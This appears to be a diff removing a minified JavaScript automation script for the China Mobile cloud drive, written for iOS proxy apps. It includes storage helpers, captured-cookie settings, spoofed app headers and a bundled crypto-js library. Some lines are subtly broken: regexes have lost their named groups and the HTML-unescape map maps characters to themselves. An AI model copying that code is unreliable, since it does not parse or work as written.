- return Array.isArray(t) || (t = r.toPath(t)), t.slice(0, -1).reduce((e, r, o) => Object(e[r]) === e[r] ? e[r] : e[r] = /^\d+$/.test(t[o + 1]) ? [] : {}, e)[t[t.length - 1]] = o, e
- }
- static toPath(e) {
- return e.replace(/\[(\d+)\]/g, ".$1").split(".").filter(Boolean)
- }
- static unescape(e) {
- const t = {
- "&": "&",
- "<": "<",
- ">": ">",
- """: '"',
- "'": "'"
- };
- return e.replace(/&|<|>|"|'/g, e => t[e])
- }
- static unset(e = {}, t = "") {
- Array.isArray(t) || (t = r.toPath(t));
- return t.reduce((e, r, o) => o === t.length - 1 ? (delete e[r], !0) : Object(e)[r], e)
- }
-}(() => {
- switch (t.debug("☑️ $argument"), typeof globalThis.$argument) {
- case "string": {
- const e = Object.fromEntries(globalThis.$argument.split("&").map(e => e.split("=", 2).map(e => e.replace(/\"/g, ""))));
- globalThis.$argument = {}, Object.keys(e).forEach(t => r.set(globalThis.$argument, t, e[t]));
- break
- }
- case "object": {
- if (null === globalThis.$argument) {
- globalThis.$argument = {};
- break
- }
- const e = {};
- Object.keys(globalThis.$argument).forEach(t => r.set(e, t, globalThis.$argument[t])), globalThis.$argument = e;
- break
- }
- case "undefined":
- globalThis.$argument = {}
- }
- globalThis.$argument.LogLevel && (t.logLevel = globalThis.$argument.LogLevel), t.debug("✅ $argument", `$argument: ${JSON.stringify(globalThis.$argument)}`)
-})();
-const o = {
- 100: "Continue",
- 101: "Switching Protocols",
- 102: "Processing",
- 103: "Early Hints",
- 200: "OK",
- 201: "Created",
- 202: "Accepted",
- 203: "Non-Authoritative Information",
- 204: "No Content",
- 205: "Reset Content",
- 206: "Partial Content",
- 207: "Multi-Status",
- 208: "Already Reported",
- 226: "IM Used",
- 300: "Multiple Choices",
- 301: "Moved Permanently",
- 302: "Found",
- 304: "Not Modified",
- 307: "Temporary Redirect",
- 308: "Permanent Redirect",
- 400: "Bad Request",
- 401: "Unauthorized",
- 402: "Payment Required",
- 403: "Forbidden",
- 404: "Not Found",
- 405: "Method Not Allowed",
- 406: "Not Acceptable",
- 407: "Proxy Authentication Required",
- 408: "Request Timeout",
- 409: "Conflict",
- 410: "Gone",
- 411: "Length Required",
- 412: "Precondition Failed",
- 413: "Content Too Large",
- 414: "URI Too Long",
- 415: "Unsupported Media Type",
- 416: "Range Not Satisfiable",
- 417: "Expectation Failed",
- 418: "I'm a teapot",
- 421: "Misdirected Request",
- 422: "Unprocessable Entity",
- 423: "Locked",
- 424: "Failed Dependency",
- 425: "Too Early",
- 426: "Upgrade Required",
- 428: "Precondition Required",
- 429: "Too Many Requests",
- 431: "Request Header Fields Too Large",
- 451: "Unavailable For Legal Reasons",
- 500: "Internal Server Error",
- 501: "Not Implemented",
- 502: "Bad Gateway",
- 503: "Service Unavailable",
- 504: "Gateway Timeout",
- 505: "HTTP Version Not Supported",
- 506: "Variant Also Negotiates",
- 507: "Insufficient Storage",
- 508: "Loop Detected",
- 510: "Not Extended",
- 511: "Network Authentication Required"
-};
-const n = r => {
- const o = {};
- switch (typeof r) {
- case void 0:
- break;
- case "string":
- case "number":
- case "boolean":
- switch (e) {
- case "Surge":
- case "Stash":
- case "Egern":
- default:
- o.url = r;
- break;
- case "Loon":
- case "Shadowrocket":
- o.openUrl = r;
- break;
- case "Quantumult X":
- o["open-url"] = r;
- case "Node.js":
- }
- break;
- case "object": {
- const t = r.open || r["open-url"] || r.url || r.openUrl,
- n = r.copy || r["update-pasteboard"] || r.updatePasteboard,
- i = r.media || r["media-url"] || r.mediaUrl;
- switch (e) {
- case "Surge":
- case "Stash":
- case "Egern":
- case "Shadowrocket":
- default:
- if (t && (o.action = "open-url", o.url = t), n && (o.action = "clipboard", o.text = n), i) switch (!0) {
- case i.startsWith("http"):
- o["media-url"] = i;
- break;
- case i.startsWith("data:"): {
- const e = /^data:(?\w+\/\w+);base64,(?.+)/,
- {
- MIME: t,
- Base64: n
- } = i.match(e).groups;
- o["media-base64"] = n, o["media-base64-mime"] = r.mime || t;
- break
- }
- default:
- switch (o["media-base64"] = i, !0) {
- case i.startsWith("CiVQREYt"):
- case i.startsWith("JVBERi0"):
- o["media-base64-mime"] = "application/pdf";
- break;
- case i.startsWith("R0lGODdh"):
- case i.startsWith("R0lGODlh"):
- o["media-base64-mime"] = "image/gif";
- break;
- case i.startsWith("iVBORw0KGgo"):
- o["media-base64-mime"] = "image/png";
- break;
- case i.startsWith("/9j/"):
- o["media-base64-mime"] = "image/jpg";
- break;
- case i.startsWith("Qk02U"):
- o["media-base64-mime"] = "image/bmp"
- }
- }
- r["auto-dismiss"] && (o["auto-dismiss"] = r["auto-dismiss"]), r.sound && (o.sound = r.sound);
- break;
- case "Loon":
- t && (o.openUrl = t), i?.startsWith("http") && (o.mediaUrl = i);
- break;
- case "Quantumult X":
- t && (o["open-url"] = t), i?.startsWith("http") && (o["media-url"] = i), n && (o["update-pasteboard"] = n);
- case "Node.js":
- }
- break
- }
- default:
- t.error("不支持的通知参数类型: " + typeof r, "")
- }
- return o
-};
-
-function i(e = 1e3) {
- return new Promise(t => setTimeout(t, e))
-}
-class s {
- static data = null;
- static dataFile = "box.dat";
- static #i = /^@(?[^.]+)(?:\.(?.*))?$/;
- static getItem(t, o = null) {
- let n = o;
- switch (t.startsWith("@")) {
- case !0: {
- const {
- key: e,
- path: o
- } = t.match(s.#i)?.groups;
- t = e;
- let i = s.getItem(t, {});
- "object" != typeof i && (i = {}), n = r.get(i, o);
- try {
- n = JSON.parse(n)
- } catch (e) {}
- break
- }
- default:
- switch (e) {
- case "Surge":
- case "Loon":
- case "Stash":
- case "Egern":
- case "Shadowrocket":
- n = $persistentStore.read(t);
- break;
- case "Quantumult X":
- n = $prefs.valueForKey(t);
- break;
- case "Node.js":
- s.data = s.#s(s.dataFile), n = s.data?.[t];
- break;
- default:
- n = s.data?.[t] || null
- }
- try {
- n = JSON.parse(n)
- } catch (e) {}
- }
- return n ?? o
- }
- static setItem(t = new String, o = new String) {
- let n = !1;
- if ("object" == typeof o) o = JSON.stringify(o);
- else o = String(o);
- switch (t.startsWith("@")) {
- case !0: {
- const {
- key: e,
- path: i
- } = t.match(s.#i)?.groups;
- t = e;
- let a = s.getItem(t, {});
- "object" != typeof a && (a = {}), r.set(a, i, o), n = s.setItem(t, a);
- break
- }
- default:
- switch (e) {
- case "Surge":
- case "Loon":
- case "Stash":
- case "Egern":
- case "Shadowrocket":
- n = $persistentStore.write(o, t);
- break;
- case "Quantumult X":
- n = $prefs.setValueForKey(o, t);
- break;
- case "Node.js":
- s.data = s.#s(s.dataFile), s.data[t] = o, s.#a(s.dataFile), n = !0;
- break;
- default:
- n = s.data?.[t] || null
- }
- }
- return n
- }
- static removeItem(t) {
- let o = !1;
- switch (t.startsWith("@")) {
- case !0: {
- const {
- key: e,
- path: n
- } = t.match(s.#i)?.groups;
- t = e;
- let i = s.getItem(t);
- "object" != typeof i && (i = {}), keyValue = r.unset(i, n), o = s.setItem(t, i);
- break
- }
- default:
- switch (e) {
- case "Surge":
- o = $persistentStore.write(null, t);
- break;
- case "Loon":
- case "Stash":
- case "Egern":
- case "Shadowrocket":
- default:
- o = !1;
- break;
- case "Quantumult X":
- o = $prefs.removeValueForKey(t);
- break;
- case "Node.js":
- s.data = s.#s(s.dataFile), delete s.data[t], s.#a(s.dataFile), o = !0
- }
- }
- return o
- }
- static clear() {
- let t = !1;
- switch (e) {
- case "Surge":
- case "Loon":
- case "Stash":
- case "Egern":
- case "Shadowrocket":
- default:
- t = !1;
- break;
- case "Quantumult X":
- t = $prefs.removeAllValues();
- break;
- case "Node.js":
- s.data = s.#s(s.dataFile), s.data = {}, s.#a(s.dataFile), t = !0
- }
- return t
- }
- static #s = t => {
- if ("Node.js" !== e) return {};
- {
- this.fs = this.fs ? this.fs : require("node:fs"), this.path = this.path ? this.path : require("node:path");
- const e = this.path.resolve(t),
- r = this.path.resolve(process.cwd(), t),
- o = this.fs.existsSync(e),
- n = !o && this.fs.existsSync(r);
- if (!o && !n) return {};
- {
- const t = o ? e : r;
- try {
- return JSON.parse(this.fs.readFileSync(t))
- } catch (e) {
- return {}
- }
- }
- }
- };
- static #a = (t = this.dataFile) => {
- if ("Node.js" === e) {
- this.fs = this.fs ? this.fs : require("node:fs"), this.path = this.path ? this.path : require("node:path");
- const e = this.path.resolve(t),
- r = this.path.resolve(process.cwd(), t),
- o = this.fs.existsSync(e),
- n = !o && this.fs.existsSync(r),
- i = JSON.stringify(this.data);
- o ? this.fs.writeFileSync(e, i) : n ? this.fs.writeFileSync(r, i) : this.fs.writeFileSync(e, i)
- }
- }
-}
-const a = globalThis.$argument ?? {
-
-};
-var c = {
- displayName: "中国移动云盘"
-};
-const u = {
- defaultTimeout: 5e3,
- userAgent: "Mozilla/5.0 (Linux; Android 11; M2012K10C Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/90.0.4430.210 Mobile Safari/537.36 MCloudApp/10.0.1",
- noteHeaders: {
- "X-Tingyun-Id": "p35OnrDoP8k;c=2;r=1122634489;u=43ee994e8c3a6057970124db00b2442c::8B3D3F05462B6E4C",
- Charset: "UTF-8",
- Connection: "Keep-Alive",
- "User-Agent": "mobile",
- APP_CP: "android",
- CP_VERSION: "3.2.0",
- "x-huawei-channelsrc": "10001400",
- Host: "mnote.caiyun.feixin.10086.cn",
- "Content-Type": "application/json; charset=UTF-8",
- Accept: "*/*"
- }
- },
- l = {
- missingCookie: "‼️缺少授权字段, 请抓取(填写)相关参数后再执行脚本",
- runStart: "开始执行",
- runFailed: "执行失败",
- runCompleted: "任务执行完成"
- },
- h = {
- cookieKeys: ["ydyp_ck", "cookie", "cloud139_cookie"]
- },
- d = {
- envPrefix: "CLOUD139",
- defaults: {
- upload: !1,
- share: !1,
- push: !0,
- clickNum: 15,
- drawTimes: 1,
- delayMin: 1e3,
- delayMax: 1500,
- timeout: 5e3,
- uploadFilename: "7",
- uploadSizeMb: 7,
- uploadDirId: "",
- shareFilename: ""
- }
- };
-var f = "undefined" != typeof globalThis ? globalThis : "undefined" != typeof window ? window : "undefined" != typeof global ? global : "undefined" != typeof self ? self : {};
-
-function p(e) {
- return e && e.__esModule && Object.prototype.hasOwnProperty.call(e, "default") ? e.default : e
-}
-var y = {
- exports: {}
-};
-var g, m = {
- exports: {}
-};
-
-function v() {
- return g || (g = 1, m.exports = function() {
- var e = e || function(e, t) {
- var r;
- if ("undefined" != typeof window && window.crypto && (r = window.crypto), "undefined" != typeof self && self.crypto && (r = self.crypto), "undefined" != typeof globalThis && globalThis.crypto && (r = globalThis.crypto), !r && "undefined" != typeof window && window.msCrypto && (r = window.msCrypto), !r && void 0 !== f && f.crypto && (r = f.crypto), !r) try {
- r = require("crypto")
- } catch (e) {}
- var o = function() {
- if (r) {
- if ("function" == typeof r.getRandomValues) try {
- return r.getRandomValues(new Uint32Array(1))[0]
- } catch (e) {}
- if ("function" == typeof r.randomBytes) try {
- return r.randomBytes(4).readInt32LE()
- } catch (e) {}
- }
- throw new Error("Native crypto module could not be used to get secure random number.")
- },
- n = Object.create || function() {
- function e() {}
- return function(t) {
- var r;
- return e.prototype = t, r = new e, e.prototype = null, r
- }
- }(),
- i = {},
- s = i.lib = {},
- a = s.Base = {
- extend: function(e) {
- var t = n(this);
- return e && t.mixIn(e), t.hasOwnProperty("init") && this.init !== t.init || (t.init = function() {
- t.$super.init.apply(this, arguments)
- }), t.init.prototype = t, t.$super = this, t
- },
- create: function() {
- var e = this.extend();
- return e.init.apply(e, arguments), e
- },
- init: function() {},
- mixIn: function(e) {
- for (var t in e) e.hasOwnProperty(t) && (this[t] = e[t]);
- e.hasOwnProperty("toString") && (this.toString = e.toString)
- },
- clone: function() {
- return this.init.prototype.extend(this)
- }
- },
- c = s.WordArray = a.extend({
- init: function(e, r) {
- e = this.words = e || [], this.sigBytes = r != t ? r : 4 * e.length
- },
- toString: function(e) {
- return (e || l).stringify(this)
- },
- concat: function(e) {
- var t = this.words,
- r = e.words,
- o = this.sigBytes,
- n = e.sigBytes;
- if (this.clamp(), o % 4)
- for (var i = 0; i < n; i++) {
- var s = r[i >>> 2] >>> 24 - i % 4 * 8 & 255;
- t[o + i >>> 2] |= s << 24 - (o + i) % 4 * 8
- } else
- for (var a = 0; a < n; a += 4) t[o + a >>> 2] = r[a >>> 2];
- return this.sigBytes += n, this
- },
- clamp: function() {
- var t = this.words,
- r = this.sigBytes;
- t[r >>> 2] &= 4294967295 << 32 - r % 4 * 8, t.length = e.ceil(r / 4)
- },
- clone: function() {
- var e = a.clone.call(this);
- return e.words = this.words.slice(0), e
- },
- random: function(e) {
- for (var t = [], r = 0; r < e; r += 4) t.push(o());
- return new c.init(t, e)
- }
- }),
- u = i.enc = {},
- l = u.Hex = {
- stringify: function(e) {
- for (var t = e.words, r = e.sigBytes, o = [], n = 0; n < r; n++) {
- var i = t[n >>> 2] >>> 24 - n % 4 * 8 & 255;
- o.push((i >>> 4).toString(16)), o.push((15 & i).toString(16))
- }
- return o.join("")
- },
- parse: function(e) {
- for (var t = e.length, r = [], o = 0; o < t; o += 2) r[o >>> 3] |= parseInt(e.substr(o, 2), 16) << 24 - o % 8 * 4;
- return new c.init(r, t / 2)
- }
- },
- h = u.Latin1 = {
- stringify: function(e) {
- for (var t = e.words, r = e.sigBytes, o = [], n = 0; n < r; n++) {
- var i = t[n >>> 2] >>> 24 - n % 4 * 8 & 255;
- o.push(String.fromCharCode(i))
- }
- return o.join("")
- },
- parse: function(e) {
- for (var t = e.length, r = [], o = 0; o < t; o++) r[o >>> 2] |= (255 & e.charCodeAt(o)) << 24 - o % 4 * 8;
- return new c.init(r, t)
- }
- },
- d = u.Utf8 = {
- stringify: function(e) {
- try {
- return decodeURIComponent(escape(h.stringify(e)))
- } catch (e) {
- throw new Error("Malformed UTF-8 data")
- }
- },
- parse: function(e) {
- return h.parse(unescape(encodeURIComponent(e)))
- }
- },
- p = s.BufferedBlockAlgorithm = a.extend({
- reset: function() {
- this._data = new c.init, this._nDataBytes = 0
- },
- _append: function(e) {
- "string" == typeof e && (e = d.parse(e)), this._data.concat(e), this._nDataBytes += e.sigBytes
- },
- _process: function(t) {
- var r, o = this._data,
- n = o.words,
- i = o.sigBytes,
- s = this.blockSize,
- a = i / (4 * s),
- u = (a = t ? e.ceil(a) : e.max((0 | a) - this._minBufferSize, 0)) * s,
- l = e.min(4 * u, i);
- if (u) {
- for (var h = 0; h < u; h += s) this._doProcessBlock(n, h);
- r = n.splice(0, u), o.sigBytes -= l
- }
- return new c.init(r, l)
- },
- clone: function() {
- var e = a.clone.call(this);
- return e._data = this._data.clone(), e
- },
- _minBufferSize: 0
- });
- s.Hasher = p.extend({
- cfg: a.extend(),
- init: function(e) {
- this.cfg = this.cfg.extend(e), this.reset()
- },
- reset: function() {
- p.reset.call(this), this._doReset()
- },
- update: function(e) {
- return this._append(e), this._process(), this
- },
- finalize: function(e) {
- return e && this._append(e), this._doFinalize()
- },
- blockSize: 16,
- _createHelper: function(e) {
- return function(t, r) {
- return new e.init(r).finalize(t)
- }
- },
- _createHmacHelper: function(e) {
- return function(t, r) {
- return new y.HMAC.init(e, r).finalize(t)
- }
- }
- });
- var y = i.algo = {};
- return i
- }(Math);
- return e
- }()), m.exports
-}
-var b, w = {
- exports: {}
-};
-
-function k() {
- return b || (b = 1, w.exports = function(e) {
- return o = (r = e).lib, n = o.Base, i = o.WordArray, (s = r.x64 = {}).Word = n.extend({
- init: function(e, t) {
- this.high = e, this.low = t
- }
- }), s.WordArray = n.extend({
- init: function(e, r) {
- e = this.words = e || [], this.sigBytes = r != t ? r : 8 * e.length
- },
- toX32: function() {
- for (var e = this.words, t = e.length, r = [], o = 0; o < t; o++) {
- var n = e[o];
- r.push(n.high), r.push(n.low)
- }
- return i.create(r, this.sigBytes)
- },
- clone: function() {
- for (var e = n.clone.call(this), t = e.words = this.words.slice(0), r = t.length, o = 0; o < r; o++) t[o] = t[o].clone();
- return e
- }
- }), e;
- var t, r, o, n, i, s
- }(v())), w.exports
-}
-var _, x = {
- exports: {}
-};
-
-function S() {
- return _ || (_ = 1, x.exports = function(e) {
- return function() {
- if ("function" == typeof ArrayBuffer) {
- var t = e.lib.WordArray,
- r = t.init,
- o = t.init = function(e) {
- if (e instanceof ArrayBuffer && (e = new Uint8Array(e)), (e instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && e instanceof Uint8ClampedArray || e instanceof Int16Array || e instanceof Uint16Array || e instanceof Int32Array || e instanceof Uint32Array || e instanceof Float32Array || e instanceof Float64Array) && (e = new Uint8Array(e.buffer, e.byteOffset, e.byteLength)), e instanceof Uint8Array) {
- for (var t = e.byteLength, o = [], n = 0; n < t; n++) o[n >>> 2] |= e[n] << 24 - n % 4 * 8;
- r.call(this, o, t)
- } else r.apply(this, arguments)
- };
- o.prototype = t
- }
- }(), e.lib.WordArray
- }(v())), x.exports
-}
-var B, A = {
- exports: {}
-};
-
-function T() {
- return B || (B = 1, A.exports = function(e) {
- return function() {
- var t = e,
- r = t.lib.WordArray,
- o = t.enc;
-
- function n(e) {
- return e << 8 & 4278255360 | e >>> 8 & 16711935
- }
- o.Utf16 = o.Utf16BE = {
- stringify: function(e) {
- for (var t = e.words, r = e.sigBytes, o = [], n = 0; n < r; n += 2) {
- var i = t[n >>> 2] >>> 16 - n % 4 * 8 & 65535;
- o.push(String.fromCharCode(i))
- }
- return o.join("")
- },
- parse: function(e) {
- for (var t = e.length, o = [], n = 0; n < t; n++) o[n >>> 1] |= e.charCodeAt(n) << 16 - n % 2 * 16;
- return r.create(o, 2 * t)
- }
- }, o.Utf16LE = {
- stringify: function(e) {
- for (var t = e.words, r = e.sigBytes, o = [], i = 0; i < r; i += 2) {
- var s = n(t[i >>> 2] >>> 16 - i % 4 * 8 & 65535);
- o.push(String.fromCharCode(s))
- }
- return o.join("")
- },
- parse: function(e) {
- for (var t = e.length, o = [], i = 0; i < t; i++) o[i >>> 1] |= n(e.charCodeAt(i) << 16 - i % 2 * 16);
- return r.create(o, 2 * t)
- }
- }
- }(), e.enc.Utf16
- }(v())), A.exports
-}
-var C, E = {
- exports: {}
-};
-
-function $() {
- return C || (C = 1, E.exports = function(e) {
- return function() {
- var t = e,
- r = t.lib.WordArray;
-
- function o(e, t, o) {
- for (var n = [], i = 0, s = 0; s < t; s++)
- if (s % 4) {
- var a = o[e.charCodeAt(s - 1)] << s % 4 * 2 | o[e.charCodeAt(s)] >>> 6 - s % 4 * 2;
- n[i >>> 2] |= a << 24 - i % 4 * 8, i++
- } return r.create(n, i)
- }
- t.enc.Base64 = {
- stringify: function(e) {
- var t = e.words,
- r = e.sigBytes,
- o = this._map;
- e.clamp();
- for (var n = [], i = 0; i < r; i += 3)
- for (var s = (t[i >>> 2] >>> 24 - i % 4 * 8 & 255) << 16 | (t[i + 1 >>> 2] >>> 24 - (i + 1) % 4 * 8 & 255) << 8 | t[i + 2 >>> 2] >>> 24 - (i + 2) % 4 * 8 & 255, a = 0; a < 4 && i + .75 * a < r; a++) n.push(o.charAt(s >>> 6 * (3 - a) & 63));
- var c = o.charAt(64);
- if (c)
- for (; n.length % 4;) n.push(c);
- return n.join("")
- },
- parse: function(e) {
- var t = e.length,
- r = this._map,
- n = this._reverseMap;
- if (!n) {
- n = this._reverseMap = [];
- for (var i = 0; i < r.length; i++) n[r.charCodeAt(i)] = i
- }
- var s = r.charAt(64);
- if (s) {
- var a = e.indexOf(s); - 1 !== a && (t = a)
- }
- return o(e, t, n)
- },
- _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
- }
- }(), e.enc.Base64
- }(v())), E.exports
-}
-var R, z = {
- exports: {}
-};
-
-function D() {
- return R || (R = 1, z.exports = function(e) {
- return function() {
- var t = e,
- r = t.lib.WordArray;
-
- function o(e, t, o) {
- for (var n = [], i = 0, s = 0; s < t; s++)
- if (s % 4) {
- var a = o[e.charCodeAt(s - 1)] << s % 4 * 2 | o[e.charCodeAt(s)] >>> 6 - s % 4 * 2;
- n[i >>> 2] |= a << 24 - i % 4 * 8, i++
- } return r.create(n, i)
- }
- t.enc.Base64url = {
- stringify: function(e, t) {
- void 0 === t && (t = !0);
- var r = e.words,
- o = e.sigBytes,
- n = t ? this._safe_map : this._map;
- e.clamp();
- for (var i = [], s = 0; s < o; s += 3)
- for (var a = (r[s >>> 2] >>> 24 - s % 4 * 8 & 255) << 16 | (r[s + 1 >>> 2] >>> 24 - (s + 1) % 4 * 8 & 255) << 8 | r[s + 2 >>> 2] >>> 24 - (s + 2) % 4 * 8 & 255, c = 0; c < 4 && s + .75 * c < o; c++) i.push(n.charAt(a >>> 6 * (3 - c) & 63));
- var u = n.charAt(64);
- if (u)
- for (; i.length % 4;) i.push(u);
- return i.join("")
- },
- parse: function(e, t) {
- void 0 === t && (t = !0);
- var r = e.length,
- n = t ? this._safe_map : this._map,
- i = this._reverseMap;
- if (!i) {
- i = this._reverseMap = [];
- for (var s = 0; s < n.length; s++) i[n.charCodeAt(s)] = s
- }
- var a = n.charAt(64);
- if (a) {
- var c = e.indexOf(a); - 1 !== c && (r = c)
- }
- return o(e, r, i)
- },
- _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
- _safe_map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"
- }
- }(), e.enc.Base64url
- }(v())), z.exports
-}
-var H, M = {
- exports: {}
-};
-
-function j() {
- return H || (H = 1, M.exports = function(e) {
- return function(t) {
- var r = e,
- o = r.lib,
- n = o.WordArray,
- i = o.Hasher,
- s = r.algo,
- a = [];
- ! function() {
- for (var e = 0; e < 64; e++) a[e] = 4294967296 * t.abs(t.sin(e + 1)) | 0
- }();
- var c = s.MD5 = i.extend({
- _doReset: function() {
- this._hash = new n.init([1732584193, 4023233417, 2562383102, 271733878])
- },
- _doProcessBlock: function(e, t) {
- for (var r = 0; r < 16; r++) {
- var o = t + r,
- n = e[o];
- e[o] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8)
- }
- var i = this._hash.words,
- s = e[t + 0],
- c = e[t + 1],
- f = e[t + 2],
- p = e[t + 3],
- y = e[t + 4],
- g = e[t + 5],
- m = e[t + 6],
- v = e[t + 7],
- b = e[t + 8],
- w = e[t + 9],
- k = e[t + 10],
- _ = e[t + 11],
- x = e[t + 12],
- S = e[t + 13],
- B = e[t + 14],
- A = e[t + 15],
- T = i[0],
- C = i[1],
- E = i[2],
- $ = i[3];
- T = u(T, C, E, $, s, 7, a[0]), $ = u($, T, C, E, c, 12, a[1]), E = u(E, $, T, C, f, 17, a[2]), C = u(C, E, $, T, p, 22, a[3]), T = u(T, C, E, $, y, 7, a[4]), $ = u($, T, C, E, g, 12, a[5]), E = u(E, $, T, C, m, 17, a[6]), C = u(C, E, $, T, v, 22, a[7]), T = u(T, C, E, $, b, 7, a[8]), $ = u($, T, C, E, w, 12, a[9]), E = u(E, $, T, C, k, 17, a[10]), C = u(C, E, $, T, _, 22, a[11]), T = u(T, C, E, $, x, 7, a[12]), $ = u($, T, C, E, S, 12, a[13]), E = u(E, $, T, C, B, 17, a[14]), T = l(T, C = u(C, E, $, T, A, 22, a[15]), E, $, c, 5, a[16]), $ = l($, T, C, E, m, 9, a[17]), E = l(E, $, T, C, _, 14, a[18]), C = l(C, E, $, T, s, 20, a[19]), T = l(T, C, E, $, g, 5, a[20]), $ = l($, T, C, E, k, 9, a[21]), E = l(E, $, T, C, A, 14, a[22]), C = l(C, E, $, T, y, 20, a[23]), T = l(T, C, E, $, w, 5, a[24]), $ = l($, T, C, E, B, 9, a[25]), E = l(E, $, T, C, p, 14, a[26]), C = l(C, E, $, T, b, 20, a[27]), T = l(T, C, E, $, S, 5, a[28]), $ = l($, T, C, E, f, 9, a[29]), E = l(E, $, T, C, v, 14, a[30]), T = h(T, C = l(C, E, $, T, x, 20, a[31]), E, $, g, 4, a[32]), $ = h($, T, C, E, b, 11, a[33]), E = h(E, $, T, C, _, 16, a[34]), C = h(C, E, $, T, B, 23, a[35]), T = h(T, C, E, $, c, 4, a[36]), $ = h($, T, C, E, y, 11, a[37]), E = h(E, $, T, C, v, 16, a[38]), C = h(C, E, $, T, k, 23, a[39]), T = h(T, C, E, $, S, 4, a[40]), $ = h($, T, C, E, s, 11, a[41]), E = h(E, $, T, C, p, 16, a[42]), C = h(C, E, $, T, m, 23, a[43]), T = h(T, C, E, $, w, 4, a[44]), $ = h($, T, C, E, x, 11, a[45]), E = h(E, $, T, C, A, 16, a[46]), T = d(T, C = h(C, E, $, T, f, 23, a[47]), E, $, s, 6, a[48]), $ = d($, T, C, E, v, 10, a[49]), E = d(E, $, T, C, B, 15, a[50]), C = d(C, E, $, T, g, 21, a[51]), T = d(T, C, E, $, x, 6, a[52]), $ = d($, T, C, E, p, 10, a[53]), E = d(E, $, T, C, k, 15, a[54]), C = d(C, E, $, T, c, 21, a[55]), T = d(T, C, E, $, b, 6, a[56]), $ = d($, T, C, E, A, 10, a[57]), E = d(E, $, T, C, m, 15, a[58]), C = d(C, E, $, T, S, 21, a[59]), T = d(T, C, E, $, y, 6, a[60]), $ = d($, T, C, E, _, 10, a[61]), E = d(E, $, T, C, f, 15, a[62]), C = d(C, E, $, T, w, 21, a[63]), i[0] = i[0] + T | 0, i[1] = i[1] + C | 0, i[2] = i[2] + E | 0, i[3] = i[3] + $ | 0
- },
- _doFinalize: function() {
- var e = this._data,
- r = e.words,
- o = 8 * this._nDataBytes,
- n = 8 * e.sigBytes;
- r[n >>> 5] |= 128 << 24 - n % 32;
- var i = t.floor(o / 4294967296),
- s = o;
- r[15 + (n + 64 >>> 9 << 4)] = 16711935 & (i << 8 | i >>> 24) | 4278255360 & (i << 24 | i >>> 8), r[14 + (n + 64 >>> 9 << 4)] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), e.sigBytes = 4 * (r.length + 1), this._process();
- for (var a = this._hash, c = a.words, u = 0; u < 4; u++) {
- var l = c[u];
- c[u] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8)
- }
- return a
- },
- clone: function() {
- var e = i.clone.call(this);
- return e._hash = this._hash.clone(), e
- }
- });
-
- function u(e, t, r, o, n, i, s) {
- var a = e + (t & r | ~t & o) + n + s;
- return (a << i | a >>> 32 - i) + t
- }
-
- function l(e, t, r, o, n, i, s) {
- var a = e + (t & o | r & ~o) + n + s;
- return (a << i | a >>> 32 - i) + t
- }
-
- function h(e, t, r, o, n, i, s) {
- var a = e + (t ^ r ^ o) + n + s;
- return (a << i | a >>> 32 - i) + t
- }
-
- function d(e, t, r, o, n, i, s) {
- var a = e + (r ^ (t | ~o)) + n + s;
- return (a << i | a >>> 32 - i) + t
- }
- r.MD5 = i._createHelper(c), r.HmacMD5 = i._createHmacHelper(c)
- }(Math), e.MD5
- }(v())), M.exports
-}
-var I, F = {
- exports: {}
-};
-
-function N() {
- return I || (I = 1, F.exports = function(e) {
- return r = (t = e).lib, o = r.WordArray, n = r.Hasher, i = t.algo, s = [], a = i.SHA1 = n.extend({
- _doReset: function() {
- this._hash = new o.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520])
- },
- _doProcessBlock: function(e, t) {
- for (var r = this._hash.words, o = r[0], n = r[1], i = r[2], a = r[3], c = r[4], u = 0; u < 80; u++) {
- if (u < 16) s[u] = 0 | e[t + u];
- else {
- var l = s[u - 3] ^ s[u - 8] ^ s[u - 14] ^ s[u - 16];
- s[u] = l << 1 | l >>> 31
- }
- var h = (o << 5 | o >>> 27) + c + s[u];
- h += u < 20 ? 1518500249 + (n & i | ~n & a) : u < 40 ? 1859775393 + (n ^ i ^ a) : u < 60 ? (n & i | n & a | i & a) - 1894007588 : (n ^ i ^ a) - 899497514, c = a, a = i, i = n << 30 | n >>> 2, n = o, o = h
- }
- r[0] = r[0] + o | 0, r[1] = r[1] + n | 0, r[2] = r[2] + i | 0, r[3] = r[3] + a | 0, r[4] = r[4] + c | 0
- },
- _doFinalize: function() {
- var e = this._data,
- t = e.words,
- r = 8 * this._nDataBytes,
- o = 8 * e.sigBytes;
- return t[o >>> 5] |= 128 << 24 - o % 32, t[14 + (o + 64 >>> 9 << 4)] = Math.floor(r / 4294967296), t[15 + (o + 64 >>> 9 << 4)] = r, e.sigBytes = 4 * t.length, this._process(), this._hash
- },
- clone: function() {
- var e = n.clone.call(this);
- return e._hash = this._hash.clone(), e
- }
- }), t.SHA1 = n._createHelper(a), t.HmacSHA1 = n._createHmacHelper(a), e.SHA1;
- var t, r, o, n, i, s, a
- }(v())), F.exports
-}
-var P, O = {
- exports: {}
-};
-
-function L() {
- return P || (P = 1, O.exports = function(e) {
- return function(t) {
- var r = e,
- o = r.lib,
- n = o.WordArray,
- i = o.Hasher,
- s = r.algo,
- a = [],
- c = [];
- ! function() {
- function e(e) {
- for (var r = t.sqrt(e), o = 2; o <= r; o++)
- if (!(e % o)) return !1;
- return !0
- }
-
- function r(e) {
- return 4294967296 * (e - (0 | e)) | 0
- }
- for (var o = 2, n = 0; n < 64;) e(o) && (n < 8 && (a[n] = r(t.pow(o, .5))), c[n] = r(t.pow(o, 1 / 3)), n++), o++
- }();
- var u = [],
- l = s.SHA256 = i.extend({
- _doReset: function() {
- this._hash = new n.init(a.slice(0))
- },
- _doProcessBlock: function(e, t) {
- for (var r = this._hash.words, o = r[0], n = r[1], i = r[2], s = r[3], a = r[4], l = r[5], h = r[6], d = r[7], f = 0; f < 64; f++) {
- if (f < 16) u[f] = 0 | e[t + f];
- else {
- var p = u[f - 15],
